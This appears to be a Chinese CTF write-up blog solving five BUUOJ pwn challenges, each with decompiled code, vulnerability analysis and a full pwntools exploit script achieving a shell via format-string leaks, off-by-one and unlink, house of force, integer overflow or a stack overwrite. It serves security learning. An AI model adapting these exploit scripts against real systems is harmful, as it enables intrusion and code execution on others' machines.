axb_2019_heap
axb_2019_heap(master*)$ file axb_2019_heap;checksec axb_2019_heap
axb_2019_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=bdd2a0e3324b99e0d799e1e488ba718ab19f50c3, not stripped
[*] '/home/pwn/桌面/axb_2019_heap/axb_2019_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-4h]
init(argc, argv, envp);
banner();
while ( 1 )
{
menu();
v3 = get_int();
switch ( v3 )
{
case 1:
add_note();
break;
case 2:
delete_note();
break;
case 3:
puts("None!");
break;
case 4:
edit_note();
break;
default:
puts("No such choices!");
break;
}
}
}
保护全开的heap (终于到正常难度的堆题了
其实还做了一个限制
Reading symbols from axb_2019_heap...
(No debugging symbols found in axb_2019_heap)
先静态分析
banner
unsigned __int64 banner()
{
char format[12]; // [rsp+Ch] [rbp-14h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Welcome to note management system!");
printf("Enter your name: ");
__isoc99_scanf("%s", format);
printf("Hello, ");
printf(format);
puts("\n-------------------------------------");
return __readfsqword(0x28u) ^ v2;
}
fmt漏洞, 可以用来泄露libc和程序基址, 因为开了PIE保护, 所以除了libc地址随机化, 还有程序地址随机化, 需要绕过两个随机化机制.
add
unsigned __int64 add_note()
{
int v0; // ebx
int v1; // ebx
size_t size; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
printf("Enter the index you want to create (0-10):");
__isoc99_scanf("%d", (char *)&size + 4);
if ( (size & 0x8000000000000000LL) == 0LL && SHIDWORD(size) <= 10 )
{
if ( counts > 0xAu )
{
puts("full!");
exit(0);
}
puts("Enter a size:");
__isoc99_scanf("%d", &size);
if ( key == 43 )
{
puts("Enter the content: ");
v0 = HIDWORD(size);
*((_QWORD *)¬e + 2 * v0) = malloc((unsigned int)size);
*((_DWORD *)¬e + 4 * SHIDWORD(size) + 2) = size;
if ( !*((_QWORD *)¬e + 2 * SHIDWORD(size)) )
{
fwrite("error", 1uLL, 5uLL, stderr);
exit(0);
}
}
else
{
if ( (unsigned int)size <= 0x80 )
{
puts("You can't hack me!");
return __readfsqword(0x28u) ^ v4;
}
puts("Enter the content: ");
v1 = HIDWORD(size);
*((_QWORD *)¬e + 2 * v1) = malloc((unsigned int)size);
*((_DWORD *)¬e + 4 * SHIDWORD(size) + 2) = size;
if ( !*((_QWORD *)¬e + 2 * SHIDWORD(size)) )
{
fwrite("error", 1uLL, 5uLL, stderr);
exit(0);
}
}
if ( !(unsigned int)check_pass((char *)¬e + 16 * SHIDWORD(size)) )
{
puts("go out!hacker!");
exit(0);
}
get_input(*((_QWORD *)¬e + 2 * SHIDWORD(size)), (unsigned int)size);
++counts;
puts("Done!");
}
else
{
puts("You can't hack me!");
}
return __readfsqword(0x28u) ^ v4;
}
delete
unsigned __int64 delete_note()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Enter an index:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)¬e + 2 * v1) )
{
free(*((void **)¬e + 2 * v1));
*((_QWORD *)¬e + 2 * v1) = 0LL;
*((_DWORD *)¬e + 4 * v1 + 2) = 0;
--counts;
puts("Done!");
}
else
{
puts("You can't hack me!");
}
return __readfsqword(0x28u) ^ v2;
}
清空了指针, 无UAF
edit
unsigned __int64 edit_note()
{
int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Enter an index:");
__isoc99_scanf("%d", &v1);
if ( v1 <= 10 && v1 >= 0 && *((_QWORD *)¬e + 2 * v1) )
{
puts("Enter the content: ");
get_input(*((_QWORD *)¬e + 2 * v1), *((unsigned int *)¬e + 4 * v1 + 2));
puts("Done!");
}
else
{
puts("You can't hack me!");
}
return __readfsqword(0x28u) ^ v2;
}
get_input
size_t __fastcall get_input(__int64 a1, int a2)
{
size_t result; // rax
signed int v3; // [rsp+10h] [rbp-10h]
_BYTE *v4; // [rsp+18h] [rbp-8h]
v3 = 0;
while ( 1 )
{
v4 = (_BYTE *)(v3 + a1);
result = fread(v4, 1uLL, 1uLL, stdin);
if ( (int)result <= 0 )
break;
if ( *v4 == 10 )
{
if ( v3 )
{
result = v3 + a1;
*v4 = 0;
return result;
}
}
else
{
result = (unsigned int)++v3;
if ( a2 + 1 <= (unsigned int)v3 )
return result;
}
}
return result;
}
a2 + 1 <= (unsigned int)v3
存在 off-by-one 漏洞
64位下按rdi, rsi, rdx, rcx, r8, r9, stack传参, __libc_start_main + 240
是第15个, 基址参数是第19个
unsortedbin attack构造两个0x98实现堆块复用, off-by-one改掉chunk头的size低字节
unlink 打note结构体指针指向结构体之前0x18, 然后修改note[0]指针指向free_hook, 改到system
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 29459
filename = "./axb_2019_heap"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
# libc = ELF("./libc-2.23.so") # local libc
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
# context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def add(idx, size, content):
io.sendlineafter('>>', '1')
io.sendlineafter('):', str(idx))
io.sendlineafter('size:', str(size))
io.sendlineafter('content:', content)
def delete(idx):
io.sendlineafter('>>', '2')
io.sendlineafter('index:', str(idx))
def edit(idx, content):
io.sendlineafter('>>', '4')
io.sendlineafter('index:', str(idx))
io.sendlineafter('content: \n', content)
def show():
io.sendlineafter('>>', '3')
'''
pwndbg> disass main
Dump of assembler code for function main:
0x000000000000116a <+0>: push rbp
0x000000000000116b <+1>: mov rbp,rsp
'''
def pwn():
io.recvuntil('name: ')
io.sendline('%15$p%19$p')
io.recvuntil('Hello, ')
libc_base = int(io.recv(14), 16) - 240 - libc.sym['__libc_start_main']
prog_base = int(io.recv(14), 16) - 0x116A # main address: 0x116A
log.info('program base address: %#x', prog_base)
system_addr = libc_base + libc.sym['system']
log.info('system address: %#x', system_addr)
free_hook = libc_base + libc.sym['__free_hook']
log.info('free hook address: %#x', free_hook)
note_addr = prog_base + 0x202060
log.info('note address: %#x', note_addr)
add(0, 0x98, 'chunk0')#0
add(1, 0x98, 'chunk1')#1
add(2, 0x90, 'chunk2')#2
add(3, 0x90, '/bin/sh\x00')#3
# B()
fake_chunk = p64(0) + p64(0x91) + p64(note_addr-0x18) + p64(note_addr-0x10)
fake_chunk += cyclic(0x70) + p64(0x90) + b'\xa0'
edit(0, fake_chunk)
# B()
delete(1) # unlink
# B()
payload = p64(0) * 3 + p64(free_hook) + p64(0x10)
edit(0, payload)
# B()
edit(0, p64(system_addr))
# B()
delete(3) # system('/bin/sh')
if __name__ == "__main__":
pwn()
io.interactive()
小结
字符串漏洞 + offbyone + unlink
oneshot_tjctf_2016
oneshot_tjctf_2016(master*)$ file oneshot_tjctf_2016;checksec oneshot_tjctf_2016
oneshot_tjctf_2016: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f47e8affd747e88e802f33895cf1619e86de1b59, not stripped
[*] '/home/pwn/桌面/oneshot_tjctf_2016/oneshot_tjctf_2016'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 (*v4)(void); // [rsp+8h] [rbp-8h] BYREF
setbuf(stdout, 0LL);
puts("Read location?");
__isoc99_scanf("%ld", &v4);
printf("Value: 0x%016lx\n", *(_QWORD *)v4);
puts("Jump location?");
__isoc99_scanf("%ld", &v4);
puts("Good luck!");
return v4();
}
无后门, 无PIE, 利用puts@got泄露libc, 打one gadget
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 29927
filename = "./oneshot_tjctf_2016"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
'''
oneshot_tjctf_2016(master*)$ one_gadget libc_x64-2.23.so
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
def pwn():
puts_got = elf.got['puts']
io.sendlineafter('Read location?\n', str(puts_got))
io.recvuntil('Value: ')
puts_addr = int(io.recvuntil('\n'), 16)
log.info('puts address: %#x', puts_addr)
libc_base = puts_addr - libc.sym['puts']
one_gadget_addr = libc_base + 0x45216
io.sendafter('Jump location?\n', str(one_gadget_addr))
if __name__ == "__main__":
pwn()
io.interactive()
gyctf_2020_force
yctf_2020_force(master*)$ file gyctf_2020_force; checksec gyctf_2020_force
gyctf_2020_force: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6d464fea7805860b83ff9bc8f4467dd258ebd04f, stripped
[*] '/home/pwn/桌面/gyctf_2020_force/gyctf_2020_force'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
__int64 v3; // rax
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v5; // [rsp+118h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
memset(s, 255, sizeof(s));
while ( 1 )
{
memset(s, 255, sizeof(s));
puts("1:add");
puts("2:puts");
read(0, nptr, 0xFuLL);
v3 = atol(nptr);
if ( v3 == 1 )
{
sub_A20();
}
else if ( v3 == 2 )
{
sub_B92();
}
}
}
add
unsigned __int64 add()
{
const void **i; // [rsp+0h] [rbp-120h]
__int64 size; // [rsp+8h] [rbp-118h]
char s[256]; // [rsp+10h] [rbp-110h] BYREF
unsigned __int64 v4; // [rsp+118h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(s, 255, sizeof(s));
for ( i = (const void **)&unk_202080; *i; ++i )
;
if ( (char *)i - (char *)&unk_202080 > 39 )
exit(0);
puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*i = malloc(size);
if ( !*i )
exit(0);
printf("bin addr %p\n", *i);
puts("content");
read(0, (void *)*i, 0x50uLL);
puts("done");
return __readfsqword(0x28u) ^ v4;
}
分配堆块大小无限制, 但是输入限制为0x50, 这里有两种可能, 输入很大的size, 或者输入较小的size, 后者可以造成堆溢出, 前者符合house of force的条件.
show
unsigned __int64 show()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts(&byte_D93);
return __readfsqword(0x28u) ^ v1;
}
puts了个寂寞
无free, 想到可以house of orange, 不过这里不能打_IO_file
那就是house of force了, (题目提示很明显
想要利用House of force, 需要满足:
(1) 能够以溢出等方式控制top chunk的size域。
(2) 能够自由的分配堆的大小
两个条件都满足
漏洞利用
申请大堆块, 通过mmap分配, 泄露libc(mmap的下一个区域就是libc, 因为程序打印chunk地址所以可以计算出来
house of force劫持top chunk, 实现任意地址写, 打malloc_hook到one gadget
malloc()
get shell
top chunk分配到malloc_hook - 0x23的位置, 保留0x7f的size, 绕过检测.
这里 - 0x33, 是因为分配的top chunk会到达malloc_hook - 0x23( - 0x33 + 0x10的header), 然后分配0x10(包括header则有0x20)的chunk, 就会到达malloc_hook.
这里one gadget需要用realloc调整才能满足条件
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 26351
filename = "./gyctf_2020_force"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so") # remote
# libc = ELF("./libc-2.23.so") # local
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def add(size, content):
io.sendlineafter('2:puts\n', '1')
io.sendlineafter('size\n', str(size))
io.recvuntil('addr ')
chunk_addr = int(io.recv(14), 16)
io.sendlineafter('content\n', content)
return chunk_addr
'''
glibc 2.23-0ubuntu11
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
def pwn():
libc_base = add(0x200000, 'chunk0') + 0x200ff0
log.info('libc base address: %#x', libc_base)
# B()
payload = cyclic(0x10) + p64(0) + p64(0xFFFFFFFFFFFFFFFF)
heap_base = add(0x18, payload) # overwrite top chunk size
log.info('heap_base address: %#x', heap_base)
# B()
top_chunk = heap_base + 0x10
malloc_hook = libc_base + libc.sym['__malloc_hook']
offset = malloc_hook - top_chunk
log.info('malloc hook address: %#x', malloc_hook)
log.info('offset: %#x', offset)
onegadget = [0x45216, 0x4526a, 0xf0274, 0xf1117] # remote libc 0ubuntu11
# onegadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247] # local libc 0ubuntu11.3
one_gadget_addr = libc_base + onegadget[1]
add(offset - 0x33, 'whatever') # *(malloc_hook - 0x23) == 0x7f
realloc = libc_base + libc.sym['__libc_realloc']
log.info('realloc address: %#x', realloc)
# B()
payload = cyclic(0x8) + p64(one_gadget_addr) + p64(realloc + 0x10)
add(0x10, payload)
# B()
io.sendlineafter('2:puts\n', '1')
io.sendlineafter('size\n', str(0x30))
if __name__ == "__main__":
pwn()
io.interactive()
护网杯_2018_gettingstart
护网杯_2018_gettingstart(master*)$ file 2018_gettingStart;checksec 2018_gettingStart
2018_gettingStart: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=8889abb24c5308b96e8483d5dbdd1aa67fffdaa4, stripped
[*] '/home/pwn/桌面/护网杯_2018_gettingstart/2018_gettingStart'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
__int64 __fastcall main(int a1, char **a2, char **a3)
{
__int64 buf[3]; // [rsp+10h] [rbp-30h] BYREF
__int64 v5; // [rsp+28h] [rbp-18h]
double v6; // [rsp+30h] [rbp-10h]
unsigned __int64 v7; // [rsp+38h] [rbp-8h]
v7 = __readfsqword(0x28u);
buf[0] = 0LL;
buf[1] = 0LL;
buf[2] = 0LL;
v5 = 0x7FFFFFFFFFFFFFFFLL;
v6 = 1.797693134862316e308;
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
printf("HuWangBei CTF 2018 will be getting start after %lu seconds...\n", 0LL);
puts("But Whether it starts depends on you.");
read(0, buf, 0x28uLL);
if ( v5 == 0x7FFFFFFFFFFFFFFFLL && v6 == 0.1 )
{
printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", v6);
system("/bin/sh");
}
else
{
puts("Try again!");
}
return 0LL;
}
就是简单buf溢出修改局部变量, 这里v6需要找到0.1的内存表示
在线转换网站
0.1 == 0x3FB999999999999A
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 25064
filename = "./2018_gettingStart"
elf = ELF(filename)
libc = ELF("./libc_x64-2.27.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(io)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
payload = cyclic(0x18) + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)
io.sendlineafter('starts depends on you.\n', payload)
if __name__ == "__main__":
pwn()
io.interactive()
zctf2016_note2
zctf2016_note2(master*)$ file note2; checksec note2
note2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=46dca2e49f923813b316f12858e7e0f42e4a82c3, stripped
[*] '/home/pwn/桌面/zctf2016_note2/note2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
void __fastcall main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("Input your name:");
sub_4009BD(&unk_6020E0, 64LL, 10LL);
puts("Input your address:");
sub_4009BD(&unk_602180, 96LL, 10LL);
while ( 1 )
{
switch ( (unsigned int)sub_400AFB() )
{
case 1u:
add();
break;
case 2u:
show();
break;
case 3u:
edit();
break;
case 4u:
delete();
break;
case 5u:
puts("Bye~");
exit(0);
case 6u:
exit(0);
default:
continue;
}
}
}
add
int add()
{
unsigned int v1; // eax
unsigned int size; // [rsp+4h] [rbp-Ch]
const char *chunk_ptr; // [rsp+8h] [rbp-8h]
if ( (unsigned int)count > 3 )
return puts("note lists are full");
puts("Input the length of the note content:(less than 128)");
size = sub_400A4A();
if ( size > 0x80 )
return puts("Too long");
chunk_ptr = (const char *)malloc(size);
puts("Input the note content:");
sub_4009BD((__int64)chunk_ptr, size, 10);
sub_400B10(chunk_ptr);
*(&ptr + (unsigned int)count) = (void *)chunk_ptr;
qword_602140[count] = size;
v1 = count++;
return printf("note add success, the id is %d\n", v1);
}
note结构体0x10, 0x8的content指针, 0x8的size
unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3)
{
char buf; // [rsp+2Fh] [rbp-11h] BYREF
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]
for ( i = 0LL; a2 - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(_BYTE *)(i + a1) = buf;
}
*(_BYTE *)(a1 + i) = 0;
return i;
}
c语言中, 无符号变量和有符号变量比较时, 会将有符号变量转化为无符号变量来比较, 这里a2是size, 设置为0时, 会变成很大的无符号数, 存在整数溢出漏洞, 造成溢出.
delete无悬空指针, show功能正常
edit
unsigned __int64 sub_400D43()
{
char *v0; // rbx
int v2; // [rsp+8h] [rbp-E8h]
int v3; // [rsp+Ch] [rbp-E4h]
char *src; // [rsp+10h] [rbp-E0h]
__int64 v5; // [rsp+18h] [rbp-D8h]
char dest[128]; // [rsp+20h] [rbp-D0h] BYREF
char *v7; // [rsp+A0h] [rbp-50h]
unsigned __int64 v8; // [rsp+D8h] [rbp-18h]
v8 = __readfsqword(0x28u);
if ( count )
{
puts("Input the id of the note:");
v2 = sub_400A4A();
if ( v2 >= 0 && v2 <= 3 )
{
src = (char *)*(&ptr + v2);
v5 = qword_602140[v2];
if ( src )
{
puts("do you want to overwrite or append?[1.overwrite/2.append]");
v3 = sub_400A4A();
if ( v3 == 1 || v3 == 2 )
{
if ( v3 == 1 )
dest[0] = 0;
else
strcpy(dest, src);
v7 = (char *)malloc(0xA0uLL);
strcpy(v7, "TheNewContents:");
printf(v7);
sub_4009BD(v7 + 15, 144LL, 10LL);
sub_400B10(v7 + 15);
v0 = v7;
v0[v5 - strlen(dest) + 14] = 0;
strncat(dest, v7 + 15, 0xFFFFFFFFFFFFFFFFLL);
strcpy(src, dest);
free(v7);
puts("Edit note success!");
}
else
{
puts("Error choice!");
}
}
else
{
puts("note has been deleted");
}
}
}
else
{
puts("Please add a note!");
}
return __readfsqword(0x28u) ^ v8;
}
edit两个功能, 1是覆写, 2是增添字符串
漏洞利用
通过add()的整数溢出漏洞造成堆溢出, 修改下一个chunk的size, unlink打got表, 劫持atoi到system
from pwn import *
# from LibcSearcher import *
url, port = "node4.buuoj.cn", 26654
filename = "./note2"
elf = ELF(filename)
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
local = 0
if local:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-v']
# gdb.attach(io)
libc = ELF("./libc-2.23.so")
else:
libc = ELF("./libc_x64-2.23.so")
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def add(size, content):
io.sendlineafter('option--->>', '1')
io.sendlineafter('Input the length of the note content:(less than 128)', str(size))
io.sendlineafter('Input the note content:', content)
def show(num):
io.sendlineafter('option--->>', '2')
io.sendlineafter('Input the id of the note:', str(num))
io.recvuntil('Content is ')
content = io.recv()
return content
def edit(num, content, num1):
io.sendlineafter('option--->>', '3')
io.sendlineafter('Input the id of the note:', str(num))
io.sendlineafter('do you want to overwrite or append?[1.overwrite/2.append]', str(num1))
io.sendlineafter('TheNewContents:', content)
def delete(num):
io.sendlineafter('option--->>', '4')
io.sendlineafter('Input the id of the note:', str(num))
def pwn():
atoi_got = elf.got['atoi']
io.sendlineafter('your name:\n', 'falca')
io.sendlineafter('your address:\n', 'fa1c4')
note_ptr_addr = 0x602120
fake_chunk = p64(0) + p64(0x81 + 0x20)
fake_chunk += p64(note_ptr_addr - 0x18) + p64(note_ptr_addr - 0x10) + cyclic(0x10)
add(0x80, fake_chunk)
add(0, 'anything')
add(0x80, 'chunk1')
add(0x20, 'chunk2')
# B()
payload = cyclic(0x18) + p8(0x90) # chunks replace
edit(1, payload, 1)
# B()
for i in range(7, -1, -1): # shift appending ahead
payload = cyclic(0x10 + i)
edit(1, payload, 1)
# B()
payload = cyclic(0x10) + p64(0x80 + 0x20)
edit(1, payload, 1)
# B()
delete(2) # unlink
# B()
edit(0, cyclic(0x18) + p64(atoi_got), 1)
# B()
atoi_addr = u64(show(0)[:6].ljust(8, b'\x00'))
libc_base = atoi_addr - libc.sym['atoi']
system_addr = libc_base + libc.sym['system']
log.info('atoi address: %#x', atoi_addr)
log.info('libc base address: %#x', libc_base)
log.info('system address: %#x', system_addr)
io.sendline('3')
io.sendlineafter('Input the id of the note:', '0')
io.sendlineafter('do you want to overwrite or append?[1.overwrite/2.append]', '1')
io.sendlineafter('TheNewContents:', p64(system_addr))
io.sendlineafter('option--->>', '/bin/sh\x00')
if __name__ == "__main__":
pwn()
io.interactive()
小结
整数溢出 + unlink